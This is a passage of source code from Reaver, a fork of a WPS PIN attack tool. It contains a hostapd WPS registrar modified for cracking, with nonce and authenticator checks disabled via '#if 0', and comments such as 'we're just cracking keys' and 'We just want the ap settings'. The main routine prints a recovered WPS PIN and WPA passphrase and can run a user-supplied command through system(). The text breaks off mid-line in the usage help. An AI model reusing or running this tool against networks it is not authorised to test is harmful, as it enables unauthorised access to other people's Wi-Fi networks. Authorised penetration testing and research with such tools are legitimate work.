SEND_WSC_NACK; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { #if 0 wps->state = SEND_WSC_NACK; return WPS_CONTINUE; #endif } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_e_snonce1(wps, eattr.e_snonce1)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = SEND_M6; return WPS_CONTINUE; } static void wps_sta_cred_cb(struct wps_data *wps) { /* * Update credential to only include a single authentication and * encryption type in case the AP configuration includes more than one * option. */ if (wps->cred.auth_type & WPS_AUTH_WPA2PSK) wps->cred.auth_type = WPS_AUTH_WPA2PSK; else if (wps->cred.auth_type & WPS_AUTH_WPAPSK) wps->cred.auth_type = WPS_AUTH_WPAPSK; if (wps->cred.encr_type & WPS_ENCR_AES) wps->cred.encr_type = WPS_ENCR_AES; else if (wps->cred.encr_type & WPS_ENCR_TKIP) wps->cred.encr_type = WPS_ENCR_TKIP; wpa_printf(MSG_DEBUG, "WPS: Update local configuration based on the " "AP configuration"); if (wps->wps->cred_cb) wps->wps->cred_cb(wps->wps->cb_ctx, &wps->cred); } static void wps_cred_update(struct wps_credential *dst, struct wps_credential *src) { os_memcpy(dst->ssid, src->ssid, sizeof(dst->ssid)); dst->ssid_len = src->ssid_len; dst->auth_type = src->auth_type; dst->encr_type = src->encr_type; dst->key_idx = src->key_idx; os_memcpy(dst->key, src->key, sizeof(dst->key)); dst->key_len = src->key_len; } static int wps_process_ap_settings_r(struct wps_data *wps, struct wps_parse_attr *attr) { if (wps->wps->ap || wps->er) return 0; /* AP Settings Attributes in M7 when Enrollee is an AP */ if (wps_process_ap_settings(attr, &wps->cred) < 0) return -1; /* @@@ Save a copy of the network key and ssid directly to the wps_data structure @@@ */ if(wps->cred.key_len > 0) { wps->key = strdup(wps->cred.key); } if(wps->cred.ssid_len > 0) { wps->essid = strdup(wps->cred.ssid); } if (wps->new_ap_settings) { wpa_printf(MSG_INFO, "WPS: Update AP configuration based on " "new settings"); wps_cred_update(&wps->cred, wps->new_ap_settings); return 0; } else { /* * Use the AP PIN only to receive the current AP settings, not * to reconfigure the AP. */ if (wps->ap_settings_cb) { wps->ap_settings_cb(wps->ap_settings_cb_ctx, &wps->cred); return 1; } wps_sta_cred_cb(wps); return 1; } } static enum wps_process_res wps_process_m7(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M7"); if (wps->state != RECV_M7) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M7", wps->state); #if 0 wps->state = SEND_WSC_NACK; return WPS_CONTINUE; #else wps->state = RECV_M7; #endif } if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { wpa_printf(MSG_DEBUG, "WPS: Reject negotiation due to PBC " "session overlap"); wps->state = SEND_WSC_NACK; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { #if 0 wps->state = SEND_WSC_NACK; return WPS_CONTINUE; #endif } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypt Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); /* @@@ One of these fails, but we don't really care. We just want the ap settings */ if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_e_snonce2(wps, eattr.e_snonce2) || wps_process_ap_settings_r(wps, &eattr)) { #if 0 wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; #endif } if(wps_parse_msg(decrypted, &eattr) >= 0) { wps_process_ap_settings_r(wps, &eattr); } wpabuf_free(decrypted); wps->state = SEND_M8; return WPS_CONTINUE; } static enum wps_process_res wps_process_wsc_msg(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; enum wps_process_res ret = WPS_CONTINUE; wpa_printf(MSG_DEBUG, "WPS: Received WSC_MSG"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; wpa_printf(MSG_DEBUG, "WPS: Parsed WSC_MSG"); if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_M1 && (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN) != 0)) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } switch (*attr.msg_type) { case WPS_M1: #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && attr.mac_addr) { /* Remove old pending messages when starting new run */ wps_free_pending_msgs(wps->wps->upnp_msgs); wps->wps->upnp_msgs = NULL; upnp_wps_device_send_wlan_event( wps->wps->wps_upnp, attr.mac_addr, UPNP_WPS_WLANEVENT_TYPE_EAP, msg); } #endif /* CONFIG_WPS_UPNP */ ret = wps_process_m1(wps, &attr); break; case WPS_M3: ret = wps_process_m3(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M3); break; case WPS_M5: ret = wps_process_m5(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M5); break; case WPS_M7: ret = wps_process_m7(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M7); break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported Message Type %d", *attr.msg_type); return WPS_FAILURE; } if (ret == WPS_CONTINUE) { /* Save a copy of the last message for Authenticator derivation */ wpa_printf(MSG_DEBUG, "WPS: WPS_CONTINUE, Freeing Last Message"); wpabuf_free(wps->last_msg); wpa_printf(MSG_DEBUG, "WPS: WPS_CONTINUE, Saving Last Message"); wps->last_msg = wpabuf_dup(msg); } wpa_printf(MSG_DEBUG, "WPS: returning"); return ret; } static enum wps_process_res wps_process_wsc_ack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_ACK"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_ACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && wps->ext_reg && wps->state == RECV_M2D_ACK && upnp_wps_subscribers(wps->wps->wps_upnp)) { if (wps->wps->upnp_msgs) return WPS_CONTINUE; wpa_printf(MSG_DEBUG, "WPS: Wait for response from an " "external Registrar"); return WPS_PENDING; } #endif /* CONFIG_WPS_UPNP */ if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (wps->state == RECV_M2D_ACK) { #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && upnp_wps_subscribers(wps->wps->wps_upnp)) { if (wps->wps->upnp_msgs) return WPS_CONTINUE; if (wps->ext_reg == 0) wps->ext_reg = 1; wpa_printf(MSG_DEBUG, "WPS: Wait for response from an " "external Registrar"); return WPS_PENDING; } #endif /* CONFIG_WPS_UPNP */ wpa_printf(MSG_DEBUG, "WPS: No more registrars available - " "terminate negotiation"); } return WPS_FAILURE; } static enum wps_process_res wps_process_wsc_nack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; int old_state; wpa_printf(MSG_DEBUG, "WPS: Received WSC_NACK"); old_state = wps->state; wps->state = SEND_WSC_NACK; if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_NACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && wps->ext_reg) { wpa_printf(MSG_DEBUG, "WPS: Negotiation using external " "Registrar terminated by the Enrollee"); return WPS_FAILURE; } #endif /* CONFIG_WPS_UPNP */ if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (attr.config_error == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Configuration Error attribute " "in WSC_NACK"); return WPS_FAILURE; } wpa_printf(MSG_DEBUG, "WPS: Enrollee terminated negotiation with " "Configuration Error %d", WPA_GET_BE16(attr.config_error)); switch (old_state) { case RECV_M3: wps_fail_event(wps->wps, WPS_M2); break; case RECV_M5: wps_fail_event(wps->wps, WPS_M4); break; case RECV_M7: wps_fail_event(wps->wps, WPS_M6); break; case RECV_DONE: wps_fail_event(wps->wps, WPS_M8); break; default: break; } return WPS_FAILURE; } static enum wps_process_res wps_process_wsc_done(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_Done"); if (wps->state != RECV_DONE && (!wps->wps->wps_upnp || !wps->ext_reg)) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving WSC_Done", wps->state); return WPS_FAILURE; } if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_DONE) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && wps->ext_reg) { wpa_printf(MSG_DEBUG, "WPS: Negotiation using external " "Registrar completed successfully"); wps_device_store(wps->wps->registrar, &wps->peer_dev, wps->uuid_e); return WPS_DONE; } #endif /* CONFIG_WPS_UPNP */ if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } wpa_printf(MSG_DEBUG, "WPS: Negotiation completed successfully"); /* @@@ We don't need any of this, since we're just cracking keys * wps_device_store(wps->wps->registrar, &wps->peer_dev, wps->uuid_e); if (wps->wps->wps_state == WPS_STATE_NOT_CONFIGURED && wps->new_psk && wps->wps->ap && !wps->wps->registrar->disable_auto_conf) { struct wps_credential cred; wpa_printf(MSG_DEBUG, "WPS: Moving to Configured state based " "on first Enrollee connection"); os_memset(&cred, 0, sizeof(cred)); os_memcpy(cred.ssid, wps->wps->ssid, wps->wps->ssid_len); cred.ssid_len = wps->wps->ssid_len; cred.auth_type = WPS_AUTH_WPAPSK | WPS_AUTH_WPA2PSK; cred.encr_type = WPS_ENCR_TKIP | WPS_ENCR_AES; os_memcpy(cred.key, wps->new_psk, wps->new_psk_len); cred.key_len = wps->new_psk_len; wps->wps->wps_state = WPS_STATE_CONFIGURED; wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: Generated random passphrase", wps->new_psk, wps->new_psk_len); if (wps->wps->cred_cb) wps->wps->cred_cb(wps->wps->cb_ctx, &cred); os_free(wps->new_psk); wps->new_psk = NULL; } if (!wps->wps->ap && !wps->er) wps_sta_cred_cb(wps); if (wps->new_psk) { if (wps_cb_new_psk(wps->wps->registrar, wps->mac_addr_e, wps->new_psk, wps->new_psk_len)) { wpa_printf(MSG_DEBUG, "WPS: Failed to configure the " "new PSK"); } os_free(wps->new_psk); wps->new_psk = NULL; } wps_cb_reg_success(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e); if (wps->pbc) { wps_registrar_remove_pbc_session(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e); wps_registrar_pbc_completed(wps->wps->registrar); } else { wps_registrar_pin_completed(wps->wps->registrar); } * */ wps_success_event(wps->wps); return WPS_DONE; } enum wps_process_res wps_registrar_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg) { enum wps_process_res ret; wpa_printf(MSG_DEBUG, "WPS: Processing received message (len=%lu " "op_code=%d)", (unsigned long) wpabuf_len(msg), op_code); #ifdef CONFIG_WPS_UPNP if (wps->wps->wps_upnp && op_code == WSC_MSG && wps->ext_reg == 1) { struct wps_parse_attr attr; if (wps_parse_msg(msg, &attr) == 0 && attr.msg_type && *attr.msg_type == WPS_M3) wps->ext_reg = 2; /* past M2/M2D phase */ } if (wps->ext_reg > 1) wps_registrar_free_pending_m2(wps->wps); if (wps->wps->wps_upnp && wps->ext_reg && wps->wps->upnp_msgs == NULL && (op_code == WSC_MSG || op_code == WSC_Done || op_code == WSC_NACK)) { struct wps_parse_attr attr; int type; if (wps_parse_msg(msg, &attr) < 0 || attr.msg_type == NULL) type = -1; else type = *attr.msg_type; wpa_printf(MSG_DEBUG, "WPS: Sending received message (type %d)" " to external Registrar for processing", type); upnp_wps_device_send_wlan_event(wps->wps->wps_upnp, wps->mac_addr_e, UPNP_WPS_WLANEVENT_TYPE_EAP, msg); if (op_code == WSC_MSG) return WPS_PENDING; } else if (wps->wps->wps_upnp && wps->ext_reg && op_code == WSC_MSG) { wpa_printf(MSG_DEBUG, "WPS: Skip internal processing - using " "external Registrar"); return WPS_CONTINUE; } #endif /* CONFIG_WPS_UPNP */ switch (op_code) { case WSC_MSG: return wps_process_wsc_msg(wps, msg); case WSC_ACK: return wps_process_wsc_ack(wps, msg); case WSC_NACK: return wps_process_wsc_nack(wps, msg); case WSC_Done: ret = wps_process_wsc_done(wps, msg); if (ret == WPS_FAILURE) { wps->state = SEND_WSC_NACK; wps_fail_event(wps->wps, WPS_WSC_DONE); } return ret; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported op_code %d", op_code); return WPS_FAILURE; } } int wps_registrar_update_ie(struct wps_registrar *reg) { return wps_set_ie(reg); } static void wps_registrar_set_selected_timeout(void *eloop_ctx, void *timeout_ctx) { struct wps_registrar *reg = eloop_ctx; wpa_printf(MSG_DEBUG, "WPS: Selected Registrar timeout - " "unselect internal Registrar"); reg->selected_registrar = 0; reg->pbc = 0; wps_registrar_selected_registrar_changed(reg); } #ifdef CONFIG_WPS_UPNP static void wps_registrar_sel_reg_add(struct wps_registrar *reg, struct subscription *s) { wpa_printf(MSG_DEBUG, "WPS: External Registrar selected (dev_pw_id=%d " "config_methods=0x%x)", s->dev_password_id, s->config_methods); reg->sel_reg_union = 1; if (reg->sel_reg_dev_password_id_override != DEV_PW_PUSHBUTTON) reg->sel_reg_dev_password_id_override = s->dev_password_id; if (reg->sel_reg_config_methods_override == -1) reg->sel_reg_config_methods_override = 0; reg->sel_reg_config_methods_override |= s->config_methods; } #endif /* CONFIG_WPS_UPNP */ static void wps_registrar_sel_reg_union(struct wps_registrar *reg) { #ifdef CONFIG_WPS_UPNP struct subscription *s; if (reg->wps->wps_upnp == NULL) return; dl_list_for_each(s, ®->wps->wps_upnp->subscriptions, struct subscription, list) { struct subscr_addr *sa; sa = dl_list_first(&s->addr_list, struct subscr_addr, list); if (sa) { wpa_printf(MSG_DEBUG, "WPS: External Registrar %s:%d", inet_ntoa(sa->saddr.sin_addr), ntohs(sa->saddr.sin_port)); } if (s->selected_registrar) wps_registrar_sel_reg_add(reg, s); else wpa_printf(MSG_DEBUG, "WPS: External Registrar not " "selected"); } #endif /* CONFIG_WPS_UPNP */ } /** * wps_registrar_selected_registrar_changed - SetSelectedRegistrar change * @reg: Registrar data from wps_registrar_init() * * This function is called when selected registrar state changes, e.g., when an * AP receives a SetSelectedRegistrar UPnP message. */ void wps_registrar_selected_registrar_changed(struct wps_registrar *reg) { wpa_printf(MSG_DEBUG, "WPS: Selected registrar information changed"); reg->sel_reg_union = reg->selected_registrar; reg->sel_reg_dev_password_id_override = -1; reg->sel_reg_config_methods_override = -1; if (reg->selected_registrar) { reg->sel_reg_config_methods_override = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) { reg->sel_reg_dev_password_id_override = DEV_PW_PUSHBUTTON; reg->sel_reg_config_methods_override |= WPS_CONFIG_PUSHBUTTON; } wpa_printf(MSG_DEBUG, "WPS: Internal Registrar selected " "(pbc=%d)", reg->pbc); } else wpa_printf(MSG_DEBUG, "WPS: Internal Registrar not selected"); wpa_printf(MSG_DEBUG, "WPS: sel_reg_union"); wps_registrar_sel_reg_union(reg); wpa_printf(MSG_DEBUG, "WPS: set_ie"); wps_set_ie(reg); wpa_printf(MSG_DEBUG, "WPS: cb_set_sel_reg"); wps_cb_set_sel_reg(reg); wpa_printf(MSG_DEBUG, "WPS: return from wps_selected_registrar_changed"); } int wps_registrar_get_info(struct wps_registrar *reg, const u8 *addr, char *buf, size_t buflen) { struct wps_registrar_device *d; int len = 0, ret; char uuid[40]; char devtype[WPS_DEV_TYPE_BUFSIZE]; d = wps_device_get(reg, addr); if (d == NULL) return 0; if (uuid_bin2str(d->uuid, uuid, sizeof(uuid))) return 0; ret = os_snprintf(buf + len, buflen - len, "wpsUuid=%s\n" "wpsPrimaryDeviceType=%s\n" "wpsDeviceName=%s\n" "wpsManufacturer=%s\n" "wpsModelName=%s\n" "wpsModelNumber=%s\n" "wpsSerialNumber=%s\n", uuid, wps_dev_type_bin2str(d->dev.pri_dev_type, devtype, sizeof(devtype)), d->dev.device_name ? d->dev.device_name : "", d->dev.manufacturer ? d->dev.manufacturer : "", d->dev.model_name ? d->dev.model_name : "", d->dev.model_number ? d->dev.model_number : "", d->dev.serial_number ? d->dev.serial_number : ""); if (ret < 0 || (size_t) ret >= buflen - len) return len; len += ret; return len; } reaver-wps-fork-t6x-1.6.6/src/wps/wps_ufd.c000066400000000000000000000121021363372615500205170ustar00rootroot00000000000000/* * UFD routines for Wi-Fi Protected Setup * Copyright (c) 2009, Masashi Honma * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include #include #include #include #include #include "wps/wps.h" #include "wps/wps_i.h" #ifdef CONFIG_NATIVE_WINDOWS #define UFD_DIR1 "%s\\SMRTNTKY" #define UFD_DIR2 UFD_DIR1 "\\WFAWSC" #define UFD_FILE UFD_DIR2 "\\%s" #else /* CONFIG_NATIVE_WINDOWS */ #define UFD_DIR1 "%s/SMRTNTKY" #define UFD_DIR2 UFD_DIR1 "/WFAWSC" #define UFD_FILE UFD_DIR2 "/%s" #endif /* CONFIG_NATIVE_WINDOWS */ struct wps_ufd_data { int ufd_fd; }; static int dev_pwd_e_file_filter(const struct dirent *entry) { unsigned int prefix; char ext[5]; if (sscanf(entry->d_name, "%8x.%4s", &prefix, ext) != 2) return 0; if (prefix == 0) return 0; if (os_strcasecmp(ext, "WFA") != 0) return 0; return 1; } static int wps_get_dev_pwd_e_file_name(char *path, char *file_name) { struct dirent **namelist; int i, file_num; file_num = scandir(path, &namelist, &dev_pwd_e_file_filter, alphasort); if (file_num < 0) { wpa_printf(MSG_ERROR, "WPS: OOB file not found: %d (%s)", errno, strerror(errno)); return -1; } if (file_num == 0) { wpa_printf(MSG_ERROR, "WPS: OOB file not found"); os_free(namelist); return -1; } os_strlcpy(file_name, namelist[0]->d_name, 13); for (i = 0; i < file_num; i++) os_free(namelist[i]); os_free(namelist); return 0; } static int get_file_name(struct wps_context *wps, int registrar, const char *path, char *file_name) { switch (wps->oob_conf.oob_method) { case OOB_METHOD_CRED: os_snprintf(file_name, 13, "00000000.WSC"); break; case OOB_METHOD_DEV_PWD_E: if (registrar) { char temp[128]; os_snprintf(temp, sizeof(temp), UFD_DIR2, path); if (wps_get_dev_pwd_e_file_name(temp, file_name) < 0) return -1; } else { u8 *mac_addr = wps->dev.mac_addr; os_snprintf(file_name, 13, "%02X%02X%02X%02X.WFA", mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]); } break; case OOB_METHOD_DEV_PWD_R: os_snprintf(file_name, 13, "00000000.WFA"); break; default: wpa_printf(MSG_ERROR, "WPS: Invalid USBA OOB method"); return -1; } return 0; } static int ufd_mkdir(const char *path) { if (mkdir(path, S_IRWXU) < 0 && errno != EEXIST) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to create directory " "'%s': %d (%s)", path, errno, strerror(errno)); return -1; } return 0; } static void * init_ufd(struct wps_context *wps, struct oob_device_data *oob_dev, int registrar) { int write_f; char temp[128]; char *path = oob_dev->device_path; char filename[13]; struct wps_ufd_data *data; int ufd_fd; if (path == NULL) return NULL; write_f = wps->oob_conf.oob_method == OOB_METHOD_DEV_PWD_E ? !registrar : registrar; if (get_file_name(wps, registrar, path, filename) < 0) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to get file name"); return NULL; } if (write_f) { os_snprintf(temp, sizeof(temp), UFD_DIR1, path); if (ufd_mkdir(temp)) return NULL; os_snprintf(temp, sizeof(temp), UFD_DIR2, path); if (ufd_mkdir(temp)) return NULL; } os_snprintf(temp, sizeof(temp), UFD_FILE, path, filename); if (write_f) ufd_fd = open(temp, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); else ufd_fd = open(temp, O_RDONLY); if (ufd_fd < 0) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to open %s: %s", temp, strerror(errno)); return NULL; } data = os_zalloc(sizeof(*data)); if (data == NULL) return NULL; data->ufd_fd = ufd_fd; return data; } static struct wpabuf * read_ufd(void *priv) { struct wps_ufd_data *data = priv; struct wpabuf *buf; struct stat s; size_t file_size; if (fstat(data->ufd_fd, &s) < 0) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to get file size"); return NULL; } file_size = s.st_size; buf = wpabuf_alloc(file_size); if (buf == NULL) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to alloc read " "buffer"); return NULL; } if (read(data->ufd_fd, wpabuf_mhead(buf), file_size) != (int) file_size) { wpabuf_free(buf); wpa_printf(MSG_ERROR, "WPS (UFD): Failed to read"); return NULL; } wpabuf_put(buf, file_size); return buf; } static int write_ufd(void *priv, struct wpabuf *buf) { struct wps_ufd_data *data = priv; if (write(data->ufd_fd, wpabuf_mhead(buf), wpabuf_len(buf)) != (int) wpabuf_len(buf)) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to write"); return -1; } return 0; } static void deinit_ufd(void *priv) { struct wps_ufd_data *data = priv; close(data->ufd_fd); os_free(data); } struct oob_device_data oob_ufd_device_data = { .device_name = NULL, .device_path = NULL, .init_func = init_ufd, .read_func = read_ufd, .write_func = write_ufd, .deinit_func = deinit_ufd, }; reaver-wps-fork-t6x-1.6.6/src/wpscrack.c000066400000000000000000000170551363372615500200700ustar00rootroot00000000000000/* * Reaver - Main and reaver_usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "wpscrack.h" #include "iface.h" extern const char* get_version(void); static int reaver_usage(char *prog_name); int reaver_main(int argc, char **argv) { int ret_val = EXIT_FAILURE, r = 0; time_t start_time = 0, end_time = 0; struct wps_data *wps = NULL; globule_init(); init_default_settings(); fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", get_version()); fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner \n\n"); if(argc < 2) { ret_val = reaver_usage(argv[0]); goto end; } /* Process the command line arguments */ if(process_arguments(argc, argv) == EXIT_FAILURE) { ret_val = reaver_usage(argv[0]); goto end; } /* Double check reaver_usage */ if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0)) { reaver_usage(argv[0]); goto end; } /* If no MAC address was provided, get it ourselves */ if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0) { if(!read_iface_mac()) { fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface()); goto end; } } /* Sanity checking on the message timeout value */ if(get_m57_timeout() > M57_MAX_TIMEOUT) { set_m57_timeout(M57_MAX_TIMEOUT); } else if(get_m57_timeout() <= 0) { set_m57_timeout(M57_DEFAULT_TIMEOUT); } /* Sanity checking on the receive timeout value */ if(get_rx_timeout() <= 0) { set_rx_timeout(DEFAULT_TIMEOUT); } /* Initialize signal handlers */ sigint_init(); sigalrm_init(); /* Mark the start time */ start_time = time(NULL); /* Do it. */ crack(); /* Mark the end time */ end_time = time(NULL); /* Check our key status */ if(get_key_status() == KEY_DONE) { wps = get_wps(); cprintf(VERBOSE, "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time)); cprintf(CRITICAL, "[+] WPS PIN: '%s'\n", get_pin()); if(wps->key) cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key); if(wps->essid) cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid); /* Run user-supplied command */ if(get_exec_string()) { r = system(get_exec_string()); } ret_val = EXIT_SUCCESS; } else { cprintf(CRITICAL, "[-] Failed to recover WPA key\n"); } save_session(); end: globule_deinit(); return ret_val; } static int reaver_usage(char *prog_name) { float fail_timeout = 0; fail_timeout = ((float) M57_DEFAULT_TIMEOUT / (float) SEC_TO_US); fprintf(stderr, "Required Arguments:\n"); fprintf(stderr, "\t-i, --interface= Name of the monitor-mode interface to use\n"); fprintf(stderr, "\t-b, --bssid= BSSID of the target AP\n"); fprintf(stderr, "\nOptional Arguments:\n"); fprintf(stderr, "\t-m, --mac= MAC of the host system\n"); fprintf(stderr, "\t-e, --essid= ESSID of the target AP\n"); fprintf(stderr, "\t-c, --channel= Set the 802.11 channel for the interface (implies -f)\n"); fprintf(stderr, "\t-s, --session= Restore a previous session file\n"); fprintf(stderr, "\t-C, --exec= Execute the supplied command upon successful pin recovery\n"); fprintf(stderr, "\t-f, --fixed Disable channel hopping\n"); fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n"); //fprintf(stderr, "\t-6, --repeat-m6 Send M6 again upon duplicated M5 reception\n"); fprintf(stderr, "\t-v, --verbose Display non-critical warnings (-vv or -vvv for more)\n"); fprintf(stderr, "\t-q, --quiet Only display critical messages\n"); fprintf(stderr, "\t-h, --help Show help\n"); fprintf(stderr, "\nAdvanced Options:\n"); fprintf(stderr, "\t-p, --pin= Use the specified pin (may be arbitrary string or 4/8 digit WPS pin)\n"); fprintf(stderr, "\t-d, --delay= Set the delay between pin attempts [%d]\n", DEFAULT_DELAY); fprintf(stderr, "\t-l, 